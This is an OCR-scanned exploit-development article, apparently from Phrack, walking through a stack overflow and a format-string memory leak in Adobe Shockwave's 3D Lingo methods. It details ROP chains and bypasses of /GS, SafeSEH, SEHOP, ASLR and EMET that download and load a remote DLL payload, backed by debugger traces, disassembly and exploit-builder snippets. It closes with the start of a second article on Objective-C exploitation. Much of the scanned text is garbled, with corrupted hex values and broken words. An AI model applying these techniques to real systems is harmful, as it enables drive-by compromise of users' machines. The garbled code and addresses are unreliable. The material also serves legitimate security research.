already had 3D objects and associated Lingo code in it. After searching a 
while I found that Director itself comes with some tutorial files that fit 
the need. In the 


SProgramFiles%\Adobe\Adobe Director 11\Configuration\Tutorials\3D 
folder are the .dir files I was hoping to find. Once they were loaded into 


Director I found the Lingo scripts I could simply modify to invoke the 
methods I had previously overlooked. 


—---[ 3.2 - Stack-based Buffer Overflow 


The first vulnerability I discovered was a stack-based buffer overflow that 
could be reached via two different Lingo methods (they hit the same 
vulnerable code, so I consider them the same bug). The vulnerable methods 
were: 


— physicsWorld.loadProxyTemplate (string proxyname, 3dmember) 
—- world.createRigidBody (string rigidbodyname, string 3Dmodelname, 
symbolBodyProxy, symbol bodyType, symbol flipNormals) 


When provided with a large enough string as the first parameter to either 
of these a buffer on the stack can be overflowed. 


In order to craft a large string in Lingo, you can use their equivalent of 
a for loop: 


buf = "" 

repeat with i = 0 to 10000 
buf = buf & "S$" 

end repeat 


Depending on how much data is provided, the fault that the debugger catches 
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may differ. Here’s one such crash: 


(63c.410): Access violation - code c0000005 (first chance) 
First chance exceptions are reported before any exception handling. 
This exception may be expected and handled. 
e€ax=37734236 ebx=02f6bd10 ecx=00000000 edx=03790404 esi=000033a7 
edi=02f6c248 

ip=6fde9d0a esp=02f6bJec ebp=02f6b7ec iopl=0 nv up ei pl nz na pe nc 
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b ef1=00210206 
IML32!Ordinal1115+0xa: 

6fde9d0a 81780454534146 cmp dword ptr [eaxt4],46415354h ds:002b:3773423a 


OK, from the faulting instruction alone there is not much to deduce. The 
call stack tells us a bit more: 


0:005> kv 

ChildEBP RetAddr Args to Child 

O2f6bJ7ec 6f£2277b8 37734236 O2f6b810 6f2283b1 IML32!Ordinal1l115+0xa 
O2f6b7£8 6£2283b1 02f6c248 06c£7024 00000000 DIRAPI+0x377b8 
O02£6b810 6£23a8ea 06c£7024 000033a7 O2f6bd10 DIRAPI+0x383b1 
O2£6b82c 6£35ec15 Ob6cf7024 O2f6c248 O2f6bd10 DIRAPI+0x4a8ea 
O02£6b848 6e73250b O6ced4bce 02f6c248 O02f6bd10 DIRAPI+0x1l6ec15 


8 
O2f6c114 42346942 69423569 37694236 42386942 Dynamiks+0x335e 
O2£6c118 69423569 37694236 42386942 6a423969 0x42346942 
O2f6cllc 37694236 42386942 6a423969 316a4230 0x69423569 
O2£6c120 42386942 6a423969 316a4230 42326a42 0x37694236 
O2f6c124 6a423969 316a4230 42326a42 6a42336a 0x42386942 
O2f6c128 316a4230 42326a42 6a42336a 356a4234 0x6a423969 
O2f6c1l2c 42326a42 6a42336a 356a4234 42366a42 0x316a4230 


<snip> 


The first thing that jumps out here is that there are what appear to be 5 
fully intact frames before the stack is smashed. That tells us that the 
destination buffer likely originates in the Dynamiks module. 


We can also see that there are two stack pointers passed as arguments from 
Dynamiks. Inspecting these we can see which was the destination buffer (we 
could also deduce this from the frame pointers we see in the call stack... 
i.e. it’s unlikely to be 0x02f6c248 because the corruption began lower on 

the stack): 


0:005> de 02f6c248 L8 

02£6c248 73423573 37734236 42387342 74423973 s5Bs6Bs7Bs8Bs9Bt 

O2f6c258 31744230 42327442 74423374 35744234 OBt1lBt2Bt3Bt4Bt5 

0:005> de 02f6bd10 L8 

O2f6bd10 41306141 61413161 33614132 41346141 Aa0dAalAa2Aa3Aa4A <- beginning 
O2f6bd20 61413561 37614136 41386141 62413961 ad5Aa6Aa7Aa8Aa9Ab of our buf 


So, the stack buffer begins at 0x02f6bd10 and was passed from the Dynamiks 
module into DIRAPI as argument 3. This can be seen by disassembling the 
Dynamiks module and checking out the code before offset 0x335e: 


(Dynamiks.x32: md5sum c6a9a75deb3da27682c267a7a2507e16, checksum 2a30eb, 
Shockwave version 12.0.0.112) 


0:005> ub Dynamiks+0x335e L6 


Dynamikst+0x334f: 

709e334f 8d8dfcfbffff lea ecx, [ebp-404h] <- vulnerable buffer 
709e3355 51 push cx < passed as third argument 
709e3356 8d4f08 lea ecx, [edit+8] 


70963359 51 push ecx 
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709e335a 50 push eax 
709e335b ££5244 call dword ptr [edx+44h] 


In a real disassembler (IDA Pro) we can see how large that local variable 
is by checking out the function’s stack: 


-—00000404 var_404 db 1024 dup(?) <--- vuln buffer, 1024 bytes 
-00000004 var_4 dd ? 

+00000000 s db 4 dup(?) 

+00000004 fr db 4 dup(?) 

+00000008 arg_O dd ? 

+0000000C arg_4 dd ? 

+00000010 arg_8 dd ? 

+00000014 arg_C dd ? 

+00000018 arg_10 dd ? 


Any string over 1024 bytes in size will corrupt var_4. Any guess as to what 
var_4 is? Yep... say hello to the /GS mitigation: 


(Dynamiks.x32: base address 0x10000000) 


-text:100018A8 mov eax, security_cookie 
-text:100018AD xor eax, ebp 
-text:100018AF mov [ebptvar_4], eax 


For those of you not familiar with /GS [12] it is a compiler option that is 
on by default in any recent version of Visual Studio. It works by ... well, 
skape said it much better than I in his Uninformed [13] article when 
describing stack cookie initialization: 


"At a high-level, this routine will take an XOR’d combination of the 
current system time, process identifier, thread identifier, tick count, and 
performance counter. Th nd result of XOR’ing these values together is 
what ends up being the image file’s security cookie." 


The result of those operations is a 4-byte value that gets generated when 
the module is loaded and then stored in its .data section. Any function the 
compiler deems in need of some extra protection takes that value and XORs 
it again with the current frame pointer (@ebp). It then stores it on the 
stack as the first local variable. Upon function exit, the process checks 
if it has been tampered with and, if so, throws an exception which usually 
results in process termination. 


Had we not caused an exception in IML32.d11 the code would still return 
back to the Dynamiks module and upon function exit (provided it doesn’t 
access any other invalid data long the way), the stack cookie check would 
fail and the process would throw an exception and probably exit. Either 
way, this is an obstacle we’ll need to bypass. 


We’1ll get back to this in a bit. 


----[ 3.3 - Stack-based Memory Disclosure 


In the course of testing the 3D Lingo methods, I was using a string 
consisting of a large amount of the "%x" characters. I was lucky enough to 
also be outputting objects to the Messages window via Lingo’s trace () 
function. In a few cases I Saw some very interesting output, such as the 
following: 


model ("d03e682631e7c647ae08 432631618680 fb8a9d0366830680276b012d450d03e686 
9080b8e56b7420100c17eb9069056cd56908db3811038") 
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That was certainly not the name I gave that object when I called 
newModel()... 


Separating those %x values by spaces yielded: 


model ("d03e68 6317e44 5ffad60 43 6317dcc 680fb8a9 dd3e68 42 680276b0 
12d450 d03e68 69080b00 5711164 100c 17eb90 69056cd5 6908db38 1 1038") 


At this point I was testing all of this on Windows XP and thus there was no 
Address Space Layout Randomization to worry about. With that in mind, I’1l 
tell you that DIRAPI.dll has a preferred base address of 0x68000000 and 
IML32.d1ll1l of 0x69000000. Looking at the output from the trace() call we can 
clearly see that we’re dealing with a format string vulnerability and for 
each %x we provide, we’re returned a 32 bit value off the stack. 


As the code path to reach this vulnerability is deterministic, it can be 
verified that the code pointers will always be the same on a non-ASLR’d 
system. Thus, we can disclose the base addresses of at least two modules as 
well as what look to be heap and stack pointers. We can verify the 
addresses in a debugger: 


0:008> !address O0xd03e68 
00c60000 : 00c60000 —- 00101000 


Type 00020000 MEM PRIVATE 
Protect 00000004 PAGE_READWRITE 
State 00001000 MEM COMMIT 
Usage RegionUsageHeap 


Handle 00150000 

0:008> !heap -p -a O0xd03e68 
address 00d03e68 found in 
HEAP @ 150000 

HEAP_ENTRY Size Prev Flags UserPtr UserSiz stat 

00c60018 20000 0000 [0b] 00c60020 100000 — (busy VirtualAlloc) 

2? <Unloaded_ame.dll>+ffff7 

0:008> !address 6317e44 
06010000 : 06314000 — 0005b000 


Type 00020000 MEM PRIVATE 
Protect 00000004 PAGE_READWRITE 
State 00001000 MEM_COMMIT 
Usage RegionUsageHeap 


Handle 00150000 
0:008> !address 5ffad60 
05£00000 : O5f00000 - 00101000 


Type 00020000 MEM PRIVATE 
Protect 00000004 PAGE_READWRITE 
State 00001000 MEM COMMIT 
Usage RegionUsageHeap 


Handle 00150000 
0:008> !address 12d450 
00030000 : 0011e000 - 00012000 


Type 00020000 MEM PRIVATE 
Protect 00000004 PAGE_READWRITE 
State 00001000 MEM COMMIT 
Usage RegionUsageStack 


Pid.Tid dlc.89c 
0:008> !address 69080b00 
69000000 : 69001000 —- 0008c000 


Type 01000000 MEM_IMAGE 

Protect 00000020 PAGE EXECUTE_READ 
State 00001000 MEM _COMMIT 

Usage RegionUsageImage 


FullPath <snip>IML32.dll 
0:008> ub 69056cd5 Ll 
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IML32!Ordinal1754+0x12b3: 
69056cd3 ffd5 call ebp 


One thing worth pointing out there is that the heap pointers originate from 
an allocation of size 0x100000. This is due to the Smartheap slicing out 
allocations from its own arena of that size. 


Anyway, the take-away here is that I was able to leak an address from the 
stack, two from the heap, and one from a module (IML32.dl1l). 


Secee= [ 3.3.1 - Undocumented Format Specifier 


During my initial attempt at exploitation of these issues, I was having 
trouble locating a reliable stack pivot within the one module I was able to 
leak an address from (IML32.d1l1l). After struggling with that problem for 
about one week, I went back and began revers ngineering the root cause of 
the memory disclosure and came across some undocumented functionality in 
Lingo. 


When provided with a "Sv" format specifier, the code within DIRAPI.dll 
replaces it with <%d %Sp>: 


(DIRAPI.dll: base address 0x68000000, 
md5sum f£b5405cef8b2d6273c593477392cbc88, checksum 1c266b, 
Shockwave version 12.0.0.112) 


.text:68039FF2 case__v: 
.text:68039FF2 


.text:68039FF2 add edi, 4 ; Jumptable 68039EC7 case 35 
-text:68039FF5 mov [ebpt+var_814], edi 

.text:68039FFB mov edi, [edi] 

-text:68039FFD lea esi, [ebptvar_810] 

-text:6803A003 mov byte ptr [ebptvar_404], 0 

.text:6803A00A call sub_68039CA0 

.text: 6803A00F test eax, eax 

.text:6803A011 jz loc_6803A0EA 

-text:6803A017 mov eax, [ebptarg_8] 

-text:6803A01A mov ecx, [ebptvar_824] 

-text:6803A020 mov edx, [ebptvar_828] 

.text:6803A026 push eax 

.text:6803A027 push ecx 

.text:6803A028 push edi 

.text:6803A029 push edx 

-text:6803A02A call sub_68030DBO ; replaces %v with <%d %p> and 
-text:6803A02A re-enters this func 


By placing %v characters at specific locations in the input string I was 
able to force a dereference of one of the stack values and retrieve two 
32-bit integers from there, which yielded me an additional address within 
a module. Specifically, I was able to leak an address within the 
"Shockwave 3d Asset.x32" module which, it turned out, had a quite useful 
code primitive I abused for a stack pivot. 


--[ 4 - Exploit Delivery 


The exploits discussed herein were progressively developed, with differing 
approaches as obstacles were encountered. I’ve included explanations of all 
of them to allow the reader to gain some insight into the process rather 
than just delivering an explanation of what came to be the best solution. 
In fact, the attached exploit code has not been "cleaned up", instead it 
contains all the artifacts of a work-in-progress leading up to the final 
solution. 
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=--=[ 4.1 Server-side Architecture 


As some of the exploits have different required architecture, I will cover 
all the components I utilized throughout the exploitation process. 


so 2= [ 4.1.1 - web.py 
I used web.py[14] to serve the following: 
* HTML pages that embedded the .dir files 


* Director files 
* A payload in one of the exploits 


The included exploit has the following directory structure: 


./ 
| craft_exploit.py 
| main.py 
| 
| ---web 
| (web.py library code) 
| 
’———www 
—--dirs 
input.dir 
mem_disc.dir 
output.dir 
---html 
exploit.html 
index.html 


’---payload 
runcalc.dll 


It is also worth noting that I also added code to handle serving 


gzip-encoded data to my main.py as I encountered som 


regard to web.py and its serving of large files. 


aoa = [ 4.1.2 - lighttpd 


During one stage of the exploit development process, 


unreliability with 


code required a 


WebDAV server to host a payload. For that, I used lighttpd[15] with the 


following configuration: 


server.document-root = "/htdocs" 
server.port = 80 
server.username = "nobody" 
server.groupname = "nogroup" 
mimetype.assign = (".html" => "text/html", 
"lapplication" => "application/x-ms-application") 
server.modules = ( "mod_webdav", 


"mod_alias", 
"mod_accesslog") 


server.errorlog = "/logs/error.log" 
accesslog.filename = "/logs/access.log" 
webdav.activate = "enable" 


webdav.sqlite-db-name = "/lock/lighttpd.webdav_lock 


-db" 
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----[ 4.2 - The HTML 


The HTML is pretty basic and consists of an index.html that embeds the .dir 
file responsible for memory disclosure and an iframe that is dynamically 
populated with the exploit.html page, which in turn embeds the crafted .dir 
exploit for that particular client, on demand. 


The iframe was required as it was noted that if one was not used, modules 
in memory were loaded and unloaded at potentially different addresses if 
the browser navigated away from one page, thus rendering the memory 
disclosure unreliable. 


----[ 4.3 - The Javascript 


The index.html page contains the javascript functions responsible for the 
following: 


* Receiving disclosed memory contents provided by the mem_disc.dir file 
* Receiving and parsing version, platform, and user agent information 
* POST-ing to itself in order to get such data back to main.py 


----[ 4.4 - The Lingo 


There are a couple of Lingo functions and properties that are exceptionally 
friendly for the exploit developer. The following are used to determine how 
to craft the malicious .dir file for a given client and then transport that 
information to the server: 


* goToNetPage - function used to call javascript from the .dir 
* environmentPropList - property used to obtain platform, operating 
system information, and shockwave build version 


==> [ -4c0: = The "Python 


The craft_exploit.py handles construction of a custom .dir file per client 
request. It receives leaked memory addresses, browser user agent, shockwave 
version, and platform information from the aforementioned POST request. 


The CraftExploit class defined within contains two class variables of note. 
The self.int_mods list is populated with tuples containing the file offset 
within the template .dir file and the value to inject. For example, the 
first stack pivot used corresponds to offset Ox55AFC in the file. The 
relevant code that replaces that value in the template .dir file looks like 
this: 


self.int_mods.append((Ox55AFC, self.sw_3d+0x13e522) ) 


[The above will cause the resulting .dir file at offset Ox55AFC to contain a 
pointer to the "Shockwave 3d Asset.x32" at offset 0x13e522. 


The other notable class variable is self.str_mods which does much the same 
thing, except that it is implemented as a dictionary. For example, in order 
to ensure that a string value will exist at a given offset in the resulting 
-dir file, one can utilize str_mods as so: 


self.str_mods[0x536D0] = ’urlmon.d1l1\x00’ 


The contents of str_mods and int_mods are injected into the file using 
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CraftExploit’s render method and then served to the target client via the 
web server. 


[, 239. Vulnerability Exploitation 


The following sections will walk the reader through my exploit development 
process against various configurations, bypassing mitigations as 
encountered. 


----[ 5.1 - Windows XP SP3/Firefox/Shockwave 11.6.5.635 


This was the first exploit I wrote for this issue, and as I was developing 
it on Windows XP SP3 I did not need to worry about ASLR (or even use the 
memory disclosure vulnerability). This was written the day the bug was 
discovered with the intent of exploiting the issue quickly, not reliably. 


As the vulnerable code is protected by /GS, I opted to overwrite one of the 
saved exception handlers on the stack. The executable was also compiled 
with SafeSEH, for which bypasses has been covered extensively by others. In 
short, I pointed the corrupted handler to an address inside a module that 
did not make available the addresses of its exception handling functions 
(for WinDBG users, I recommend checking out the narly[16] plugin that helps 
determine which addresses are available for such a bypass). Thus, the 
exception dispatcher was unable to determine if my corrupted pointer was 
legitimate and would proceed to call it. 


I then gained stack control and, after some ROP-ing, VirtualProtectEx’d the 
stack and returned to it, executing a payload that simply ran 
WinExec("calc.exe"). 


I relied on several things that make this exploit... dirty: 


* The modules I used to ROP with were getting their preferred bas 
addresses, and thus I could easily ignore ASLR. 

* T used a system library, shell32.dll, for some primitives. This module 
is updated by Microsoft often and is not something to rely on. 


So, to summarize, this exploit bypasses /GS, SafeSEH, DEP, and ignores ASLR 
(but is more of a PoC than a proper exploit--and well, it’s XP). 


----[ 5.2 - Windows XP SP3/Firefox/Shockwave 11.6.8.638 


About a day after I wrote the exploit for version 11.6.5.635 Adobe released 
11.6.8.638. For completeness’ sake, I added support to my exploit for what 
was the latest version, using identical primitives, differing just in 
location. See the attached exploit for details. 


----[ 5.3 - Windows 7 x64/Firefox/Shockwave 12.0.0.112 


When Adobe released version 12.0.0.112, I decided to utilize the memory 
disclosure bug and exploit the vulnerabilities on a more modern operating 
system, Windows 7. 


This time, I used the stack memory disclosure to remove any reliance on 
indeterminable memory addresses, thus bypassing ASLR. Unlike the prior 
exploits, this version simply ROPs to a LoadLibraryA call and requests DLL 
over a UNC path. I created a simple DLL that just calls WinExec("calc.exe") 
upon load. Then, using lighttpd as described in 4.1.2, the file is served. 


----[ 5.4 - Windows 7 x64/Firefox/Shockwave 12.0.0.112/EMET 5.0 


The above exploit against Windows 7 x64 uses LoadLibraryA to load a 
malicious payload off of a UNC share. EMET removes the ability to do this, 
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but it is easy enough to bypass, as detailed in the following section. 


SSS [ 5.5.1 - Relevant ’EMET 5.0’ Mitigations 


The exploit for the same target with EMET 5.0 enabled simply calls 
MoveFileA first to move the file from the remote WebDAV to the local 
filesystem and then calls LoadLibraryA on the local file. 


Protip: chattr +i the DLL file on the server so that the MoveFileA will 
move it but won’t be able to delete it afterwards, enabling subsequent 
exploit attempts to work without a problem. You could also do this within 
the lighttpd config. 


Also, EMET implements a mitigation they call Export Address Table 
Filtering[17] which monitors for read accesses to the exported function 
addresses in key system DLL modules. However, the attached exploit 
retrieves the addresses of functions by snagging a pointer via the 
Shockwave modules’ import section (which are not monitored by EMET), rather 
than from the system DLL files themselves. 


----[ 5.5 - Windows 8 x64/Firefox/Shockwave 12.0.0.112/EMET 5.0 


Windows 8 introduces a number of exploit mitigations, thoroughly summarized 
by Matt Miller and Ken Johnson during their Blackhat talk in 2012 [18]. The 
most obtrusive mitigation that had to be overcome was SEHOP. SEHOP is 
another mitigation intended to deter exploitation of SEH-based corruption. 
As Microsoft describes [19]: 


x 


"The first step involves the insertion of a symbolic exception registration 
record as the tail record in a thread’s exception handler list. This step 
occurs when a thread first begins executing in user mode. Since exception 
registration records are always inserted at the head of the exception 
handler list, the symbolic record is guaranteed to be the final exception 
registration record. 


The second step consists of walking the exception handler list at the time 
that an exception is being dispatched to ensure that the symbolic record 
can be reached and that it is valid. This step happens when th xception 
dispatcher is notified that an exception has occurred in user mode. If the 
symbolic record cannot be reached, th xception dispatcher can assume that 
the exception handler list is corrupt and that an SEH overwrite may have 
occurred. The exception dispatcher is then able to safely terminate the 
process. If the symbolic record is found, the exception dispatcher is able 
to proceed as it normally would and call each of the registered exception 
handlers." 


In order to bypass this mitigation, you pretty much need a memory 
disclosure. Luckily for me, the leaking of a stack address makes this 
possible. 


To demonstrate how such a mitigation is bypassed, the following will walk 
through inspecting the exception chain before and after the exploit 
corrupts it. 


Firstly, once attached to the Firefox process, we can tell WinDBG to follow 
child processes with the ’.childdbg 1’ command. Next we point Firefox to 
the malicious server which will cause the Shockwave player to be invoked, 
thus launching the plugin-container.exe process from Firefox: 


0:029> .childdbg 1 
Processes created by the current process will be debugged 


0:029> g 

ModLoad: 70530000 70b63000 C:\Windows \SysWow64\shdocvw.dll 
<snip> 

ModLoad: 09c70000 09c76000 plugin-container.exe 
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Executable search path is: 

ModLoad: 0O0fa0000 O00fa6000 plugin-container.exe 

ModLoad: 772f£0000 77447000 ntdll.dll 

ModLoad: 76620000 76750000 C:\Windows \SysWOW64\KERNEL32.DLL 
ModLoad: 74£10000 74f£b6000 C:\Windows \SysWOW64\KERNELBASE.d1] 
<snip> 
ModLoad: 74980000 74989000 C:\Windows \SysWOW64\CRYPTBASE.d1] 
ModLoad: 74920000 74971000 C:\Windows\SysWOW64\bcryptPrimitives.dll 
(834.950): Break instruction exception - code 80000003 (first chance) 
eax=00000000 ebx=00000003 ecx=al500000 edx=00000000 esi=00000000 
edi=007e0000 


5 


eip=77390545 esp=007bf854 ebp=007bf880 iopl=0 nv up ei pl zr na pe ne 
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b ef1=00000246 
ntdll!LdrpDoDebuggerBreak+0x2b: 

77390545 cc int 3 


In order to inspect the untainted exception chain, we can ask WinDBG to 
next break upon loading of the Dynamiks.x32 module using: 


1:032> sxe ld:dynamiks 

L2032> g 

(740.1£0): Unknown exception - code 000006ba (first chance) 

ModLoad: 709e0000 70c81000 Cc: \Users\user\AppData\LocalLow\Adobe\Shockwave 
Player 12\xtras\download\AdobeSystemsIncorporated\Dynamiks\Dynamiks.x32 
eax=00000000 ebx=00800000 ecx=00000000 edx=00000000 esi=00000000 
edi=fe9bf000 


ip=77e20fe8 esp=0061a944 ebp=0061a99c iopl=0 nv up ei pl nz na pe nc 
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b ef1=00200206 
ntdll! ZwMapViewOfSection+0xc: 

T7ie20fe8 c22800 ret 28h 

1:032> bp !Dynamiks+0x335b 

1:032> g 


Breakpoint O hit 
eax=0506ba80 ebx=00000000 ecx=006lca6c edx=71407620 esi=050003a0 
edi=0061lca64 


1p=709e335b esp=0061c074 ebp=0061c938 iopl=0 nv up ei pl zr na pe ne 
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b ef1=00000246 
Dynamiks+0x335b: 

709e335b ££5244 call dword ptr [edx+44h] ds:002b:71407664=713debe0 


We can view the current exception chain with the !exchain command: 


1:032> !exchain 

O006lef40: USER32!_except_handler4+0 (775f3991) 

O06lefa4: USER32!_except_handler4+0 (775f3991) 

0061f000: ntdll!KiUserCallbackExceptionHandler+0O (77e22e60) 
O0061f0fc: xul!std::_Mutex::_Mutex+56d (73920859) 

0061f858: plugin_container+18f9 (010b18f9) 

0061f8a8: ntdll!_except_handler4+0 (77ec35f2) 

0061f8c8: ntdll!FinalExceptionHandler+0O (77eb1d86) 

Invalid exception stack at ffffffff 


For those unfamiliar with the above formatted information, the first number 
is the address on the stack of the SEH record. For example, for the first 
entry we can inspect the record and verify that the first 32 bit value 
points to the next SEH record address on the stack, and that the second 32 
bit value points to the code responsible for handling the exception: 


1:032> dd 006lef40 L2 
O06lef40 O06lefa4 775f3991 
1:032> u poi(0061lef40+4) L4 
USER32!_except_handler4: 
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775£3991 8bff mov edi,edi 
775£3993 55 push ebp 

775£3994 8bec mov ebp, esp 
775£3996 83ecl14 sub esp,14h 


Prior to corruption, the SEH record chain consists of the following stack 
locations, terminated by -1: 


006lef40->006lefa4—>0061£000->0061f0Fc->0061F858->0061F8a8->0061F8Cc8-> 
ffffffff 


At this point, we also know the address of the destination buffer that will 
be overflowed (s section 3.2): 


1:032> dd @espt0x8 L1 
0061cO7c 0061c534 


We can calculate how much data is required to be copied from that address 
to reach the first SEH record on the stack: 


1:032> ? 006lef40-0061c534 
Evaluate expression: 10764 = 00002a0c 


Now comes the fun part. The exception chain validation that occurs when 
ntdll!KiUserExceptionDispatcher doesn’t care how many entries are in the 
chain. What this means is that an attacker has some flexibility with 
regard to how they choose to bypass the checks. For example, the stack 
corruption could be used to link the first exception handler 
(USER32!_except_handler4) all the way to the last one 
(ntdll!FinalExceptionHandler) by modifying the first’s *next pointer. 
Another option (and the one that I chose) is to craft a fake SEH record, 
dl; 

£ 

t 


ink a prior record to yours, and link yours to an existing one located 
urther down the stack. To illustrate this, the below shows the state of 
he exception chain after attempting to step over the call that causes the 


stack-based buffer overflow: 


1:032> p 

(740.1£0): Access violation - code c0000005 (first chance) 

First chance exceptions are reported before any exception handling. 
This exception may be expected and handled. 
eax=37734236 ebx=0061c534 ecx=00000000 edx=00e5eff4 esi=00002af8 
edi=006lca6c 
eip=71439d0a esp=0061c010 ebp=0061c010 iopl=0 nv up ei pl nz na pe nc 
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b ef1=00010206 
IML32!Ordinal1115+0xa: 
71439d0a 81780454534146 cmp dword ptr [eaxt+4],46415354h ds:002b:3773423a=?? 
1:032> !exchain 

O006lef40: Shockwave_3d_Asset!CIFXString: :SetCodePage+49122 (70f2e522) 
O06lef50: 41414141 

0061f0fc: xul!std::_Mutex::_Mutex+56d (73920859) 

0061f858: plugin_container+18f9 (010b18f9) 

0061f8a8: ntdll!_except_handler4+0 (77ec35f2) 

0061f8c8: ntdll!FinalExceptionHandler+0 (77eb1d86) 

Invalid exception stack at ffffffff 


Note that now the SEH chain consists of: 


006lef40->0061lef50—->0061f£0Fc->0061f858->0061F8a8->0061F8c8—->fFLLLLEE 
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What has occured is the first SEH record has been corrupted to point into 
the "Shockwave 3d Asset.x32" module (this is our stack pivot--more on this 
later) and it’s *next pointer has been modified to point to a new address 
on the stack (calculated using the stack memory disclosure). 


The second record shown above is a fake one that my exploit crafts to 
re-link the chain. Its *next pointer has been crafted to point to 0061f0fc 
which is a valid SEH record that existed prior to the corruption. Note that 
its code pointer was simply set to 0x41414141, which is weakly validated by 
ntdll’s exception dispatcher to ensure it is not located on the stack. 


At this stage, the SEH chain will pass SEHOP validation and the first 
record’s code will be called. This can be verified in the debugger: 


1:032> bp Shockwave_3d_Asset!CIFXString::SetCodePaget49122 

1:032> g 
Breakpoint 1 hit 
eax=00000000 ebx=00000000 ecx=70f2e522 edx=77e23105 esi=00000000 
edi=00000000 

1p=70f2e522 esp=0061lba5c ebp=006lba7c iopl=0 nv up ei pl zr na pe ne 
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b ef1=00000246 
Shockwave_3d_Asset!CIFXString: :SetCodePaget+0x49122: 

7T0£f2e522 8b4d0c mov ecx,dword ptr [ebpt+0Ch] ss:002b:0061ba88=0061lef40 


Soe as= [ 5.5.1 - Relevant '’/EMET 5.0 Tech Preview’ Mitigations 


EMET 5.0 implements many mitigations that were submitted as ’defensive 
security research’ to the Microsoft BlueHat Prize Contest (over $250,000 
was awarded). The software is still in Tech Preview, but I was curious as 
to how difficult it would be to bypass. I was also a bit irked that my 
prior exploits required a WebDAV server. So, in this version of the exploit 
I decided to remove that requirement. This was accomplished by ROP-ing a 
call to LoadLibraryA whereby I loaded the urlmon.dll module. More 
specifically, I returned to LoadLibraryA+0x5 to skip over the EMET hook: 


1:039> u KERNEL32!LoadLibraryA L2 
KERNEL32!LoadLibraryA: 


T6ccf864 e92f0932£9 jmp 6ff££0198 

76ccf869 837d0800 cmp dword ptr [ebp+8],0 
1:039> u 6fff0198 

6fff0198 684bedeeeb push OEBEEED4Bh 

6fff019d 60 pushad 

6fff019e Ic pushfd 

6fffO1l9f 54 push esp 

6fff01a0 e80bd32a05 call emet+0x4d4b0 (7529d4b0) 
6fff0la5 9d popfd 

6fffOlaé 61 popad 

6fffOla7 83c404 add esp,4 


By ensuring we land at LoadLibraryA+0x5 and we control @ebp, this EMET hook 
is trivially bypassed. Microsoft is aware of how limited this hook is, and 
they even cite Phrack in their blog post[20]. 


Once urlmon.dll was loaded, I had to deal with EMET’s ’Caller’ mitigation, 
which does the following: 


"EMET will make sure that when a critical function is reached, it is 
reached via a "call" instruction rather than a "ret" instruction. This is a 
very useful mitigation and breaks many ROP gadgets."[20] 
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I also had to deal with the ’SimExecFlow’ mitigation: 


"This mitigation tries to detect ROP gadgets following a call to a critical 
function. It works by emulating a specified number of instructions at the 
return address of the caller of a critical function."[20] 


Both of the above mitigations would interfere with my calling 
GetProcAddress to retrieve the address of URLDownloadToFileA. They wer 
bypassed by returning into the middle of a module’s existing call to 
GetProcAddress, thus EMET could not tell that it was ROP-ed to or that it 
was an illegitimate call: 


.text:7A25CD4A O00C push eax ; hModule 
.text:7A25CD4B 010 call ds:GetProcAddress 
.text:7A25CD51 008 mov [esit18h], eax 
-text:7A25CD54 008 cmp eax, edi 
-text:7A25CD56 008 jnz short loc_7A25CD6D 
.text: 7A25CD6D loc_7A25CD6D: 

.text: 7A25CD6D 

.text:7A25CD6D 008 mov eax, edi 
-text:7A25CD6F 008 pop edi 

-text:7A25CD70 004 pop esi 

.text:7A25CD71 000 retn 

-text: 7A25CD71 sub_7A25CD20 endp 


By returning directly to the code at Ox7A25CD4A, @eax already contained the 
result from LoadLibraryA("urlmon.dl1\x00"), and because I could predict 
stack addresses using the memory leak it was easy enough to ensure there 
was a pointer to the string "URLDownloadToFileA\x00" for the call to 
GetProcAddress and also that @esi was pointing to a stack address under 
control. Thus, I was able to get the address of the function without a 
problem. 


Then, I called URLDownloadToFileA to drop the payload to a default writable 
local directory (C:\Users\Public) and then returned to LoadLibraryA and 
loaded the code. 


-—-[ 6 - Future Work 


I began developing support for process continuation/continuation of 
execution/whatever it’s being called these days. It should be fairly easy 
to ensure the plugin-container.exe doesn’t crash hard, but would require 
reversing the interaction between this process and the firefox.exe parent. 


--[{ 7 - Conclusion 


This article wasn’t intended to share anything novel... any competent 
exploit writer could have implemented the attached exploit. I just wanted 
to share a walkthrough from bug discovery to reliable exploit so that 
readers can get a feel for what the process is like these days. 


-—-[ 8 - Greets 


Thanks to navs, sohlow, raid, & hoodlum for their insight and valuable 
discussions. 
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[ Modern Objective-C Exploitation Techniques ] 


[ by nemo ] 
[ nemo@felinemenace.org ] 


--[{ Introduction 


Hello again reader. Over the years the exploitation process has obviously 
shifted in complexity. What once began with the straight forward case of 
turning a single bug into a reliable exploit has now evolved more towards 
combining vulnerability primitives together in an attempt to bypass each 
of the memory protection hurdles present on a modern day operating system. 


With this in mind, let’s jump once again into the exploitation of 
Objective-C based memory corruption vulnerabilities in a modern time. 

Back in Phrack 0x42 (Phile #0x04) I wrote a paper documenting a way to turn 
the most common Objective-C memory corruption primitive (an attacker 
controlled Objective-C method call) into control of EIP. If you have not 
read this paper, or if it’s been a while and you need to refresh, it’s 
probably wise to do so now, as the first half of this paper will only build 
on the techniques covered in the original [1]. Contrary to the beliefs of 
Ian Beer, the techniques in the original paper are still alive and kicking 
in modern times however some adjustment is needed depending on the context 
of the vulnerability. 


--[ Dangling Objective-C Method Calls 


As you’re aware since you read my paper in [1], Objective-C method calls 
are implemented by passing "messages" to the receiver (object) via the 
objc_msgSend() API call. 

When Objective-C objects are allocated, storage for their instance 
variables is allocated on the native heap with malloc(). The first element 
in this space is a pointer to the class definition in the binary. This is 
typically referred to as the "ISA" pointer. As in: "an NSString ’IS-A’ 
NSObject". 


When dealing with bugs in Objective-C applications it is extremely common 

for this ISA pointer to be attacker controlled, resulting in an Objective-C 
method call to be performed on an attacker controlled memory location. 
T 
i 
c 


his can occur when dealing with Use-After-Free conditions, heap overflows 
nto objective-c objects, and even format bugs using the %@ format string 
haracter. 


In my original paper [1] I wrote about how to utilize this construct to 
perform a successful cache lookup for the selector value, resulting in 
control of EIP. An alternative route to gain EIP control is to make the 
Objective-C runtime think that it’s finished looking through the entire 
cache and found no match for the SEL value passed in. In which case the 
runtime will attempt to resolve the method’s address via the class 
definition (through the controlled ISA pointer) and once again use an EIP 
value from memory controlled by us. This method is longer however, and adds 
little benefit. But i digress, both of these methods are still completely 
valid in the most current version of Mac OS X at this time Mavericks, 
(10.1.0). 


